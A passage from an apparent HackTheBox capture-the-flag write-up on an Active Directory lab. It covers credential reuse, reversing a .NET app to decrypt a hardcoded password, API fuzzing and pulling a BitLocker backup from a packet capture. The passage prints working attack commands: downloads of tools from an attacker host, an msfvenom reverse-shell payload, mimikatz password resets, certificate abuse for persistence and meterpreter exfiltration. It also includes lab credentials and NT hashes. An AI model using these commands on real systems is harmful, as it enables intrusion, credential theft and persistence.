We can log in using the same credentials. Since we’re going over the Ligolo-ng tunnel, we’ll use 240.0.0.1:

output messenger linux client

The interface has a lot of the same elements, but there’s a couple othere things here: Announcements and OutputWall:

output messenger linux client 2

The Announcements section was only alerting me that I had logged in from a new device (actually, I got a similar message using the web app client, when I logged in as l.clark). The OutputWall feature, though, has a couple of interesting posts:

output messenger linux client wall 1

😂 Yup! Way ahead of you there, bud!

output messenger linux client wall 2

Now that is interesting. We now know the name of the app, UserExplorer.exe and some possible credentials: m.harris : D3v3l0p3r_Pass@1337!

We can easily confirm the validity of these credentials using, once again, Kerbrute:

kerbrute confirm m.harris password

It might make sense to check other services for credential re-use too.

Investigating MySQL

Earlier, when using WinPEAS for automatic privesc enumeration, we saw a list of listening ports (except, somehow, WinPEAS could label them each with their parent process name!). Just above the block of OutputMessenger-related ports ranging 14118-14130, there was tcp port 14406, serving MySQL.

🤔 14406 … similar to 3306, the normal MySQL port?

If we can gain access to MySQL, it’s possible we can recover some of the OutputMessenger password hashes, and hope for more credential reuse 💡

For some unknown reason, though, I keep getting an error when trying to access MySQL over my Ligolo-ng tunnel:

mysql -h 240.0.0.1 --port=14406 -u root -proot
# ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading initial communication packet', system error: 11

Instead of using the Ligolo-ng tunnel, let’s try forming a SOCKS5 proxy over Chisel. First, I’ll set up the server:

sudo ufw allow from $RADDR to any port 9999
./chisel server --port 9999 --reverse & 

Now, on the target, I’ll download chisel.exe from my attacker-controlled HTTP server and run it in client mode, in the background:

(New-Object Net.WebClient).DownloadFile("http://10.10.14.13:8001/chisel.exe", "C:\Users\m.harris\AppData\Local\Temp\chisel.exe")
Invoke-Command -ScriptBlock { Start-Process -NoNewWindow -FilePath "C:\Users\M.harris\AppData\Local\Temp\chisel.exe" -ArgumentList "client 10.10.14.13:9999 R:1080:socks" }

Finally, let’s try brute-forcing a credential:

# Add a few suspected usernames, like "root" "outputmessenger" and "om":
cp domain_users.txt domain_users_plus.txt
vim domain_users_plus.txt
# Add the new password we found:
echo 'D3v3l0p3r_Pass@1337!' >> known_passwords.txt
# Attempt to brute-force MySQL over the SOCKS5 proxy
while IFS= read -r pw; do 
	while IFS= read -r usr; do 
		echo -e "\nTrying credential ... $usr : $pw"; 
		proxychains mysql -h 127.0.0.1 -P 14406 -u "$usr" -p"$pw"; 
    done < domain_users_plus.txt; 
done < known_passwords.txt

😞 No results.

Output Messenger as m.harris

We’ve already confirmed that the new password is valid for Kerberos, and not valid for MySQL, but what about OutputMessenger?

output messenger linux client m.harris login

The credentials work. The Chat Room conversations are the same, but now we have access to a new conversation between Admin and M.harris:

output messenger linux client m.harris

🎉 A copy of UserExplorer.exe - perfect! That’s exactly what I needed. Well, it would be… if I could download it 😥 Clicking on the Download button only results in a mess of errors shown in the console.

Thankfully, it didn’t take much troubleshooting to figure it out. Apparently, the Linux client fails to initialize the directory to place its downloads. To fix it, we can define it manually from Settings > Other Options > Chat and setting Storage Folder to a valid directory:

output messenger linux client setting download dir

Now that we have a copy of this supposedly-flawed software, it would be wise to take a look at how it works.

Reverse-Engineering

Strings

What’s the first thing you should do during any RE? Yep - just run strings! Seeing even a few of these function calls is enough to know that they’re actually using AES for this program:

Decryptor
LdapApp
cipherText
System.Security.Cryptography
System.Text
get_UTF8
GetBytes
SymmetricAlgorithm
set_Key
Byte
System
set_IV
ICryptoTransform
get_Key
get_IV
CreateDecryptor
MemoryStream
System.IO
Convert
FromBase64String
CryptoStream

BinaryNinja

My usual reverse engineering tool is BinaryNinja. I’ve never tried it with an .exe file, though.

Unfortunately, it seems that we can pretty much only take a look at the disassembled byte code. Still, we can see a LOT about how the program would work, just by reading the UTF8 encoded bytes:

UserExplorer exe binaryninja

Pay close attention to where the encoding switches (the highlighted area). We can read every second character to decipher a few details:

  • LDAP://dc01.infiltrator.htb. Clearly the LDAP address that the program uses for account-lookups.
  • The username winrm_svc
  • TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=. Clearly a chunk of text that is clearly base64-encoded…
    • It doesn’t decode to valid/printable text.
  • b14ca5898a4e4133bbce2ea2315a1916. A 32-character hex string (16 bytes). It’s shown little further down, not shown in the above screenshot.
    • An MD5 hash?
    • An NT hash?
    • Something to do with AES, like a key or an IV?

I could investigate this, but it would be a lot of guesswork. At the advice of another HTB player, I’ll stop messing around with disassembly view and use a better tool, ILSpy 👁️

ILSpy

It’s able to give us a much clearer picture of what’s going on, by decompiling into C#. The program is very short; just examining the argument-parsing part of main() tells us pretty much everything:

using System;
using System.DirectoryServices;

private static void Main(string[] args)
{
	string text = "LDAP://dc01.infiltrator.htb";
	string text2 = "";
	string text3 = "";
	string text4 = "";
	string text5 = "winrm_svc";
	string cipherText = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
	for (int i = 0; i < args.Length; i += 2)
	{
		switch (args[i].ToLower())
		{
		case "-u":
			text2 = args[i + 1];
			break;
		case "-p":
			text3 = args[i + 1];
			break;
		case "-s":
			text4 = args[i + 1];
			break;
		case "-default":
			text2 = text5;
			text3 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", cipherText);
			break;
		default:
			Console.WriteLine($"Invalid argument: {args[i]}");
			return;
		}
	}

In short, if we use -default the program attempts to log in using winrm_svc for the username, and decrypts the base64 text (using the 32-character hex as a key) for the password

The static method Decryptor.DecryptString(key, ciphertext) shows us the important details about decryption:

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public static string DecryptString(string key, string cipherText)
{
	using Aes aes = Aes.Create();
	aes.Key = Encoding.UTF8.GetBytes(key);
	aes.IV = new byte[16];
	ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
	using MemoryStream stream = new MemoryStream(Convert.FromBase64String(cipherText));
	using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read);
	using StreamReader streamReader = new StreamReader(stream2);
	return streamReader.ReadToEnd();
}

We can see that the ciphertext gets decoded from Base64 into bytes before decryption. Decryption uses a blank IV, just 16 bytes of zeros. Finally, we can see that the key is interpreted as UTF8 text - even though it looks like hex.

Since this code is only meant to decrypt one thing, using an IV of just zeros isn’t the worst thing ever… but it is very bad cryptography practice, and would help an attacker decrypt the ciphertext

The decompiled code from ILSpy tells us everything we need to know.

Recreating the program in Python

Knowing all of these implementation details, we can easily recreate this code in Python:

Make sure to pip3 install pycryptodome to run this 👇

from Crypto.Cipher import AES
import base64

KEY = "b14ca5898a4e4133bbce2ea2315a1916"

def decrypt_string(key: str, cipher_text: str) -> str:
    key_bytes = key.encode('utf-8')
    iv = b'\x00' * 16
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
    data = cipher.decrypt(base64.b64decode(cipher_text))
    # PKCS#7 unpadding
    pad_len = data[-1]
    return data[:-pad_len].decode('utf-8')

if __name__ == '__main__':
    cipher_text = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE="
    decrypted = decrypt_string(KEY, cipher_text)
    print(f"Decrypted text: {decrypted}")

🤔 This code seems fine, and we can verify it using a simple recipe in Cyberchef. It properly decodes the text, but the result is just… more base-64?

decrypted text from python

Trying this password with both Kerberos and OutputMessenger fails (yes, I also tried password-spraying again). However, this is supposed to be an LDAP password; perhaps we should try LDAP authentication? Using ldapwhoami is the most direct approach:

ldapwhoami -vvv -H ldap://dc01.infiltrator.htb -D "CN=WINRM_SVC,CN=USERS,DC=INFILTRATOR,DC=HTB" -x -w "SKqwQk81tgq+C3V7pzc1SA=="
# ldap_initialize( ldap://dc01.infiltrator.htb:389/??base )
# ldap_bind: Invalid credentials (49)
#         additional info: 80090308: LdapErr: DSID-0C09050F, comment: AcceptSecurityContext error, data 52e, v4563

Transferring our copy of UserExplorer.exe to the target host is what finally makes this all make sense:

testing flawed program on target host

That’s it! The -default option actually is broken! Why? Because the hardcoded (encrypted) password is wrong.

💡 I should have known better when I saw that the password decrypted to even more base64. Let’s just make two passes of decryption, instead:

# ...
# same as previous
# ...
if __name__ == '__main__':
    cipher_text = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE="
    decrypted_once  = decrypt_string(KEY, cipher_text)
    decrypted_twice = decrypt_string(KEY, decrypted_once)
    print(f"Decrypted text: {decrypted_twice}")

Running our modified program (or a modified Cyberchef recipe), does the trick:

decrypted text from python 2

Let’s test this over LDAP:

ldapwhoami -v -H ldap://dc01.infiltrator.htb -D "CN=WINRM_SVC,CN=USERS,DC=INFILTRATOR,DC=HTB" -x -w 'WinRm@$svc^!^P'
# ldap_initialize( ldap://dc01.infiltrator.htb:389/??base )
# u:INFILTRATOR\winrm_svc
# Result: Success (0)

Alright! We have a new credential: winrm_svc : WinRm@$svc^!^P 👏

winrm_svc

We just recovered a valid LDAP credential. We already know from Bloodhound that winrm_svc is a member of Remote Management Users, so we’re expecting WinRM to work. However, it would be wise to test this credential on all services requiring authentication:

ServiceUsernamePassword
LDAPwinrm_svcWinRm@$svc^!^P
WinRMwinrm_svcWinRm@$svc^!^P
OutputMessengerwinrm_svcWinRm@$svc^!^P
MySQL (port 14406)winrm_svcWinRm@$svc^!^P
MySQL (port 14406)rootWinRm@$svc^!^P

Bloodhound

Before I do anything else, I’ll collect some new data for Bloodhound:

evil-winrm -i dc01.infiltrator.htb -u 'winrm_svc' -p 'WinRm@$svc^!^P'
cd C:\Users\winrm_svc\AppData\Local\Temp
(New-Object Net.WebClient).DownloadFile("http://10.10.14.13:8001/SharpHound.exe", "C:\Users\winrm_svc\AppData\Local\Temp\SharpHound.exe")
.\SharpHound.exe -c All --collectallproperties
download 20250420080741_BloodHound.zip

There’s nothing radically different from the new Bloodhound data. As far as I can tell, the only new thing is that winrm_svc is a member of the Service Management group:

winrm_svc bloodhound

OutputMessenger

For the most part, winrm_svc hasn’t done much chatting on OutputMessenger. Two notable exceptions are their DMs with d.anderson, o.martinez, and a.walker:

Hint 1: d.anderson

winrm_svc and d.anderson conversation

Probably not useful anymore, but it explains why d.anderson and l.clark had the same password.

Hint 2: o.martinez

Here’s the chat with o.martinez:

winrm_svc and o.martinez conversation

😂 Wow - it’s a good thing winrm_svc asked twice, eh? Sounds like o.martinez has shared their password with the Chiefs_Marketing_chat group chat.

Lining this up with Bloodhound / LDAP, we’re probably safe to assume that the chat has two members: a.walker and o.martinez. More importantly, it means we can probably read the password in plaintext as long as we can find a way to access the chat logs.

Hint 3: a.walker

We find another clue in the DMs with a.walker:

winrm_svc and a.walker conversation

This may seem small, but it indicates that winrm_svc somehow has the ability to grant individuals access to different group chats, which is exactly what we need right now!

Hint 4: Notes

Lastly, we can see a Note that winrm_svc presumably wrote to themself:

Note: this part of the program was ONLY visible using with Windows desktop client.

It can be installed and ran on Kali using Wine. Not sure why, but I was only successful when I used the 32-bit version.

winrm_svc and notes with API key

For copy-pasting sake, that API key is: 558R501T5I6024Y8JV3B7KOUN1A518GG.

Adding a Chat Room

Taking into account hints (2) and (3), my initial reaction was to have winrm_svc add themself to the Chiefs_Marketing_chat group chat. However, it seems that we can’t actually add a new chat room / “group chat” to our own user, much less add ourself to another one…

Below is the Windows client, but I got the same result in the Linux client. The Web client doesn’t even have this option available 🤦‍♂️

no permission to add chat room

This leads me to conclude that we should probably use the API to add one of our compromised users into the Chiefs_Marketing_chat group chat 🤔

Output Messenger API

As much as I’m beginning to dislike Output Messenger, at least it has a bit of API description. For figuring out thee API, we can reference these two pages:

Adding a user to the chat room

Much earlier, right after I gained a foothold as m.harris, I found the port running the API, port 14125. Let’s try it again, now that we know more. First, let’s try checking who is already a member of Chiefs_Marketing_chat:

APIKEY=558R501T5I6024Y8JV3B7KOUN1A518GG
curl -s -H "API-KEY: $APIKEY" -X GET http://240.0.0.1:14125/api/chatrooms | jq

API get chat rooms

Cool, the membership in the group chat matches up to what we expected based on Active Directory group membership: only o.martinez and a.walker are members.

Let’s go ahead and add ourselves (as an administrator):

curl -s -H "API-KEY: $APIKEY" -X PUT "http://240.0.0.1:14125/api/chatrooms/Chiefs_Marketing_chat?roomname=Chiefs_Marketing_chat&roomusers=O.martinez|0,A.walker|0,winrm_svc|1"
# HTTP Error 411. The request must be chunked or have a content length

👀 Maybe it doesn’t like the querystring format. I’ll try it with an actual request body, instead:

curl -s -H "API-KEY: $APIKEY" -H "Content-Type: x-www-form-urlencoded" -X PUT --data 'roomname=Chiefs_Marketing_chat&roomusers=O.martinez|0,A.walker|0,winrm_svc|1' "http://240.0.0.1:14125/api/chatrooms/Chiefs_Marketing_chat"
# {"Message":"No permissoin to access."}

Tried the same thing, but without setting group Admin privileges, and got the same result.

Nope! I guess we can’t do that, even with the API key… 🤔

Obtain chat room logs

There’s another API endpoint at GET /api/chatrooms/logs that, theoretically, allows us to read all logged chat history in a group chat. Unfortunately, the documentation makes very little sense. Why didn’t they just include an example, instead of these silly tags?

get chat history API

😞 I could really go for a nice Swagger API description right about now!

Even if I were to assume that the roomkey is something like a_20250223XXXXXX@infiltrator.htb, it would still be 1 million requests to fuzz out the correct roomkey - impractical, yet not impossible 🤔

Finding roomkey

However, this is a lot of assumptions to make… there must be a better way to find the roomkey.

Wireshark

I’ll try monitorying my ligolo network interface in Wireshark and starting up the Linux client. Since it has to pull the chat history when the application starts, perhaps it’s contacting the API?

wireshark to find room id

It was a solid idea, but it looks like most of the traffic is TLS-encrypted. Interestingly though, we can see that some of the Wall data is sent in plaintext. Regardless, no portion of the traffic I recorded in Wireshark included the roomkey.

Local cache

While somewhat unlikely, it’s possible this data gets cached somewhere on the host where the client is installed. Since it’s most similar to the target, I’ll check out my Wine emulated Windows system.

The typical spot for individual programs’ configurations, logs, and cached data is typically within the user’s AppData folder. Thankfully, my Wine directory is basically empty, so it didn’t take long to find the Output Messenger stuff:

found DB in Wine appdata

☝️ Upon closer inspection, OT is probably for Output Tasks and OM is for Output Messenger

cd ~/.wine/drive_c/users/kali/AppData/Roaming/Output Messenger/JAAA
sqlite3 OM.db3

It seems to be an actual, valid SQLite3 database.

-- Check the tables
.tables
-- om_chatroom might have roomkey?
.schema om_chatroom

cached data in local sqlite

There it is! Let’s grab the roomkey:

SELECT chatroom_name, chatroom_key FROM om_chatroom;
-- General_chat|20240219160702@conference.com

😮 Wow! I’m sure glad I didn’t bother fuzzing the API assuming that it would be a_20250223XXXXXX@infiltrator.htb. We’ve confirmed that the roomkey for General_chat is 20240219160702@conference.com.

Fuzzing for target roomkey

Let’s make a proof-of-concept for fuzzing:

curl -s -H "API-KEY: $APIKEY" "http://240.0.0.1:14125/api/chatrooms/logs?[roomkey]=20240219160702@conference.com&[fromdate]=2024/02/19&[todate]=2025/04/20"

No response. Frankly, I don’t think square brackets are valid characters in a URI, so I might just chalk this up to bad documentation. Let’s remove them and see what happens:

curl -s -H "API-KEY: $APIKEY" "http://240.0.0.1:14125/api/chatrooms/logs?roomkey=20240219160702@conference.com&fromdate=2024/02/19&todate=2025/04/20"

Reading general chat logs

😍 YES! We are able to read the logs! Since the API key is independent from the winrm_svc user, there’s no reason to think that we can’t read any chat room in the same way, as long as we have the roomkey.

Let’s consider the roomkey format. The first part 20240219 is definitely a datestamp; maybe it’s safe to conclude that the rest is a timestamp? Here’s a simple bash script to make a wordlist out of a range of timestamps:

start="2024-02-19 16:00:00"
end="2024-03-01 23:59:59"

# Convert start and end times to seconds since the epoch
start_sec=$(date -d "$start" +%s)
end_sec=$(date -d "$end" +%s)

# Open the output file for writing (overwrite if it exists)
: > "$output_file"

# Loop through each second from start to end
current_sec="$start_sec"

while [ "$current_sec" -le "$end_sec" ]; do
  date -d "@$current_sec" "+%Y%m%d%H%M%S" >> "$output_file"
  current_sec=$((current_sec + 1))
done

Just to check that this wordlist is appropriate, I’ll try running ffuf on only 1 day of timestamps (starting a little before the known timestamp of 20240219160702):

ffuf -w timestamps_until_feb_20.txt:TIMESTAMP -H "API-KEY: $APIKEY" -u "http://240.0.0.1:14125/api/chatrooms/logs?roomkey=TIMESTAMP@conference.com&fromdate=2024/02/19&todate=2025/04/20" -t 40 -fs 8293

🐌 At best, I’m getting around 30 requests per second on this… I’ll let this run while I investigate a better way to do this task.

fuzzing roomkeys

🕥 We already have one previously-unknown result, 20240219165308, so let’s check it out:

APIKEY=558R501T5I6024Y8JV3B7KOUN1A518GG;
TIMESTAMP=20240219165308;
raw=$(curl -s -H "API-KEY: $APIKEY" "http://240.0.0.1:14125/api/chatrooms/logs?roomkey=$TIMESTAMP@conference.com&fromdate=2024/02/19&todate=2025/04/20");
# The response is in JSON but has a predictable size for prefix (55 chars) and suffix (1 char)
trimmed=${raw:55:$((${#raw} - 55 - 1))}; 
parsed=$(printf "%b" "$trimmed"); 
echo $parsed > "fuzzing/chat_log-$TIMESTAMP.html"; 
chromium "fuzzing/chat_log-$TIMESTAMP.html" &

The stylesheet part didn’t parse properly, but the rest looks good:

fuzzing roomkeys 1

🎉 Aha - We’ve discovered the Marketing_Team_chat log! This supports the assumption that we can access arbitrary chat logs.

🕧 A few minutes later, I’ve got another result: 20240220014618. Let’s see what we found:

fuzzing roomkeys 2

👏 Yes! YES!!! We got it! We’ve found the credential: o.martinez : m@rtinez@1996!

If you look way earlier during the first Bloodhound collection, we took note that o.martinez is the only member of Remote Desktop Users. So while we might not be able to use WinRM directly, we should be able to use RDP.

Olivia Martinez

According to the LDAP info collected much earlier, we should be able to use o.martinez to RDP into the target. Let’s try:

xfreerdp /v:dc01.infiltrator.htb /u:o.martinez /p:m@rtinez@1996!

😞 Nope! That doesn’t work. This suggests that the password is for Output Messenger, and that o.martinez did not reuse their password.

Opening up Output Messenger as o.martinez shows us one conversation we’ve already seen (see screenshot of the rendered API response above), and another conversation that we haven’t yet seen:

winrm_svc and o.martinez conversation

It didn’t take long to find the source of these pop-ups. They’re just notifications, being triggered by some recurring calendar item:

recurring calendar item

Every morning, there are two Events scheduled. Each is a reminder to open a website (http://infiltrator.htb and http://dc01.infiltrator.htb). That’s very odd.

When we open the calendar and schedule a new event, we can see that this “Open Website” thing isn’t just a title, it’s also one of the Actions available for a meeting:

  • Meeting
  • Leave / Timeoff
  • Reminder
  • Open Website 👀
  • Shut down Computer 😱
  • Reboot Computer 💀

Personally, I think this seems like an anit-feature… but what do I know?

I guess that explains why o.martinez is getting “random website popups” every day. She has two recurring events scheduled, each using the Open Website action.

Aside: You MUST use Windows

Until now, I’ve been able to barely scrape by on this box using a combination of:

  1. Web client
  2. Linux client (on kali)
  3. Windows client (x86, via Wine)

Apparently, the Linux client lacks an essential feature for completing this box. Even worse, the Windows client that I’ve been running through Wine won’t even load the Calendar 😒

So if you’re rocking a linux attacker host, like I am, you are completely out of luck.

The Windows client actually has an extra Action available when scheduling an Event, Run Application:

Windows calendar

I can only assume that the goal here is to pop a reverse shell using this “feature” 🤦‍♂️

⚠️ STEP BYPASSED

For reasons out of my control, I can’t obtain or run a Windows VM, so I am completely stuck here.

Moreover, a friend attacking the same box using a Windows VM reports that the box is broken: the Run Application step never worked for them, because it seems that o.martinez never actually logs in to their computer…

Given that this box is broken, and I have no other way, I’ve accepted help from another HTB player to help me bypass this step: they have provided me the o.martinez NT hash.

🛑 I do NOT do this lightly.

I am very, very against “cheating” in HTB. I am only doing this because the “legitimate” intended method for the box appears to be broken.

Since o.martinez is NOT a member of Remote Management Users, we can use their membership in Remote Desktop Users instead:

  1. Start a reverse shell listener

    msfconsole
    > use multi/handler
    > set payload windows/meterpreter/reverse_tcp
    > set LHOST tun0
    > exploit
    
  2. Create a reverse shell .exe, have o.martinez send the file to themself in a chat.

    msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=10.10.14.13 LPORT=4444 -o rev2.exe
    
  3. From m.harris, use mimikatz to change the o.martinez password.

    .\mimikatz.exe "lsadump::changentlm /server:dc01.infiltrator.htb /user:o.martinez /old:daf40bbfbf00619b01402e5f3acd40a9 /newpassword:P@ssword123" "exit"
    
  4. Log into the box over RDP using the new password.

    xfreerdp /v:dc01.infiltrator.htb /u:o.martinez /p:P@ssword123
    
  5. Open Output Messenger as o.martinez from the RDP session, download the reverse shell.

  6. Run the reverse shell.

  7. Discard the NT hash, or ignore that we ever got it from another player.

After completing these steps, we’ve bypassed the “broken” part of this box (and ONLY that one part)​ 👍

Great! We’ve managed to catch a reverse shell as o.martinez:

o.martinez reverse shell

Bloodhound collection

o.martinez is in Marketing, so we’re not expecting any privileged access to anything. Regardless, it would be foolish not to collect new Bloodhound data now that we’ve gained access to a new user:

(New-Object Net.WebClient).DownloadFile("http://10.10.14.13:8001/SharpHound.exe", "C:\users\o.martinez\AppData\Local\Temp\SharpHound.exe")
C:\users\o.martinez\AppData\Local\Temp\SharpHound.exe -c All --collectallproperties

But now we are left with the question of how to exfiltrate the data… Thankfully, we can use meterpreter for that.

Be sure to exit to drop out of the shell to go back to the main meterpreter if necessary. After exfil, go back into shell

exit
cd 'C:\Users\o.martinez\AppData\Local\Temp'
download 20250422014234_BloodHound.zip
shell
powershell

meterpreter 1

Is there anything new in Bloodhound, after ingesting the new data?

bloodhound o.martinez

Not really. However, since my reverse shell was a bit tedious to build, I’d really like to establish persistence in some way. Maybe we can use ADCS with this CLIENTAUTH certificate for persistence?

Certificate Enrolment

If we were to use a certificate to achieve persistence on the target host (actually, the domain), the strategy would be something like:

  1. Obtain the clientauth certificate for o.martinez in .pfx format.
  2. Find a way to exfil the .pfx file to my attacker host
  3. Utilize getnthash.py from PKINITtools to get the NT hash for o.martinez (just like we did earlier for e.rodriguez for the shadow credentials attack)
  4. Pass-the-hash from mimikatz in lsadump::changentlm module to reset the password for o.martinez

⭐ I’m not especially experienced with certificate stuff, so I found this article from PentestLabs very helpful in figuring this out.

If we can make this work, we can simply pop a reverse shell using RunasCs.exe from m.harris: only two steps to recover our reverse shell!

# Download Certify.exe from attacker host
cd C:\Users\o.martinez\AppData\Local\Temp
iwr "http://10.10.14.13:8001/Ghostpack-CompiledBinaries/Certify.exe" -O Certify.exe
# Check for client auth certificates
.\Certify.exe find /clientauth

certify 1

From the output of the same command, we can look for a certificate that allows Domain Users to enroll. As expected, the User template allows this. It also grants us the ability to authenticate:

certify 2

Knowing both the CA name and Template name, we can submit the certificate signing request (CSR):

.\Certify.exe request /ca:dc01.infiltrator.htb\infiltrator-DC01-CA /template:User

certify 3

This prints the certificate to the console, but does not save a fil;. that’s not a bad thing, since we’ll need this certificate on our attacker host instead. Select BOTH pieces of the certificate, starting with -----BEGIN RSA PRIVATE KEY----- and ending with -----END CERTIFICATE-----, and copy to clipboard.

Start a new file on the attacker host, cert.pem and paste in both pieces. We can then use openssl to convert the .pem file to a .pfx file, which is what we need. This will require assigning a password

Note to self: I used 4wayhandshake as the .pfx file password.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
mv cert.pfx o.martinez.pfx

convert to pfx

Password Reset Using Certificate

Obtaining the NT hash

With the .pfx file obtained, we’re basically at the same point that we were at with e.rodriguez after the Shadow Credentials attack. We should be able to once again use gettgtpkinit.py from PKINITTools to obtain a TGT:

cd ~/Tools/PKINITtools; source bin/activate
python gettgtpkinit.py -cert-pfx ~/Box_Notes/Infiltrator/loot/o.martinez.pfx -pfx-pass '4wayhandshake' -dc-ip 'dc01.infiltrator.htb' 'infiltrator.htb/o.martinez' '/home/kali/Box_Notes/Infiltrator/loot/o.martinez.ccache'

o.martinez obtain ccache and ASREP hash

This gave wrote the o.martinez.ccache file. Also, we can use the ASREP hash and to obtain the NT Hash:

python3 getnthash.py -key db9c92a3e7d960516f178df9078b98a01f29a0b4543d912a072ff933ed15cbaf -dc-ip $RADDR 'infiltrator.htb/o.martinez'

o.martinez obtain NT hash

⚠️ If you somehow managed to complete this box without the bypassed part from earlier, your NT hash will be different than this. This is due to the password change in step (3) of the bypass.

The original NT hash would have been daf40bbfbf00619b01402e5f3acd40a9.

Password reset

Finally, now that I have the NT hash (and a shell as any domain user), I can perform the password reset using mimikatz:

cd C:\Users\o.martinez\AppData\Local\Temp
iwr "http://10.10.14.13:8001/mimikatz.exe" -O mimikatz.exe
.\mimikatz.exe "lsadump::changentlm /server:dc01.infiltrator.htb /user:o.martinez /old:cb8a428385459087a76793010d60f5dc /newpassword:4wayhandshake" "exit"

changing o.martinez password

For copy-pasting sake, the new NT hash is d12e8c67a0d37a3952ab1dee2ad84882, for password 4wayhandshake.

Local enumeration - o.martinez

Checking a few notable directories, such as C:\Program Files\Output Messenger Server, it seems like o.martinez doesn’t have access to any system-level places that we didn’t before as other users. So what have we gained?

  • Access to C:\Users\o.martinez
  • RDP access to dc01.infiltrator.htb

RDP access

RDP access is mostly what makes o.martinez “special”, so let’s check that first:

xfreerdp /v:dc01.infiltrator.htb /u:o.martinez /p:4wayhandshake

👀 It’s a little annoying to use RDP, because there seems to be a very strict time limit on each session (only a couple minutes!)

I noticed in the Task Manager that o.martinez was running powershell. Is that my reverse shell? I’m not sure. However, while navigating to C:\Windows to run powershell.exe over RDP, I noticed something interesting in the file explorer:

Discovered E drive

Note that the drive is encrypted. When we try to open it, we’re faced with a Bitlocker prompt:

E drive bitlocker prompt

To access this drive, we’ll either need the password or the 48-digit recovery key (Key ID: B6E420DE). We don’t have either of those right now, but I’ll keep an eye out for them 🚩

User directory

Besides RDP, the other thing we’ve gained access to is C:\Users\o.martinez. While there’s nothing inside the common Documents, Desktop or Downloads folders, their hidden AppData folder is full of contents.

Earlier on, when finding the roomkey for the Chiefs_Marketing_chat group chat, we checked our local cache inside the Wine emulated filesystem and found the Output Messenger database and config files within C:\Users\kali\AppData\Roaming. Unsurprisingly, o.martinez has the same spot:

o.martinez om appdata

Most of the subfolders are uninteresting, but we note the OM.db3 database (where we can extract roomkey and chat logs, and anything else cached by Output Messenger).

o.martinez om folder

The Received Files folder has more subfolders than expected - but only one contains a file:

o.martinez om received files

😍 a pcapng file? Why?! This is definitely significant. Let’s exfil the OM.db3 file and this network_capture_2024.pcapng file. It’s convenient to just drop back to meterpreter (exit powershell, then exit the system shell):

cd 'C:\Users\o.martinez\AppData\Roaming\Output Messenger\FAAA\'
download OM.db3
download 'Received Files\203301\network_capture_2024.pcapng'

exfil om files

pcapng file

The reason I was so excited about finding this file is that a pcapng is a packet capture file. It is a recording of network activity, usually due to (A) recording it manually in Wireshark or (B) using a tools like tcpdump. Once the packet capture is loaded into Wireshark, it can be analyzed for all kinds of things.

Wireshark unfiltered

We can right-click any HTTP packet in the bracketed stream and choose Follow > HTTP Stream, which gives us a much more intelligible view of what’s going on, automatically filtering for HTTP traffic:

HTTP Stream view of GET /

We’re looking at an HTTP request to GET http://192.168.1.106:5000, which is clearly hosting some File Hosting web app using Flask!

Since there’s clearly some interesting HTTP traffic here, we can get an overview by filtering for just HTTP requests sent to the server, by applying this filter:

ip.dst == 192.168.1.106 && _ws.col.protocol == "HTTP

By default, they’re sorted chronologically, so the Info column is basically a log of requests:

Wireshark 1.5

If we look at the next HTTP request/reply in the sequence, we can see a successful login attempt, with a password in plaintext (For brevity, I’ve omitted the response below):

POST /login HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.106:5000
Connection: keep-alive
Referer: http://192.168.1.106:5000/
Upgrade-Insecure-Requests: 1

authorization=securepassword

The next HTTP stream shows a GET request to /files. This time, it’s the response body that tells us something interesting. There’s only one uploaded file available, shown inside this Bootstrap Card:

<div class="card h-100">
    <div class="card-body">
        <h5 class="card-title">BitLocker-backup.7z</h5>
        <p class="card-text p-0 m-0"><strong>File type:</strong> Archive</p>
        <p class="card-text p-0 m-0"><strong>File size:</strong> 204.42 KB</p>
        <p class="card-text p-0 m-0"><strong>Upload date:</strong> 2024-02-24 01:09:29</p>
    </div>
    <div class="card-footer">
        <a href="/view/BitLocker-backup.7z" class="btn btn-success"><i class="fa-solid fa-eye"></i></a>
        <a onclick="download_file('/view/BitLocker-backup.7z')" class="btn btn-primary"><i class="fa-solid fa-download"></i></a>
        <a onclick="rename_file('/rename/BitLocker-backup.7z')" class="btn btn-warning"><i class="fa-solid fa-pen-to-square"></i></a>
        <a onclick="delete_file('/delete/BitLocker-backup.7z')" class="btn btn-danger"><i class="fa-solid fa-trash-can"></i></a>
    </div>
</div>

🎉 It’s a Bitlocker backup! Maybe this will allow us to circumvent the encryption on the E:\ drive?

Since we have the password, why not just access this File Hosting web app from our reverse shell or RDP session?

Well, a quick check to ipconfig shows that dc01.infiltrator.htb is only in the 10.10.11.31/23 network, with no other network interface available. Therefore, we have no access to the network where 192.168.1.106 exists.

Thankfully, we are saved by a later HTTP stream, where the user requests GET /view/raw/BitLocker-backup.7z. The server responds with the raw file contents:

HTTP Stream view of /view/raw/Bitlocker-backup.7z

Note the beginning of the response body, starting with 7z - this is the file signature for a 7z archive:

7z magic bytes

Wireshark has a really handy feature that allows us to save any part of a packet separately. Locating the HTTP response containing the file, we can right click on the Data portion of the packet, and choose Export packet bytes:

Saving response body as a file using Wireshark

We can simply save the exported bytes as Bitlocker-backup.7z 👍

There is another very interesting HTTP request/response in the packet capture, though. After the user downloaded Bitlocker-backup.7z, they appear to have performed a password reset:

POST /api/change_auth_token HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
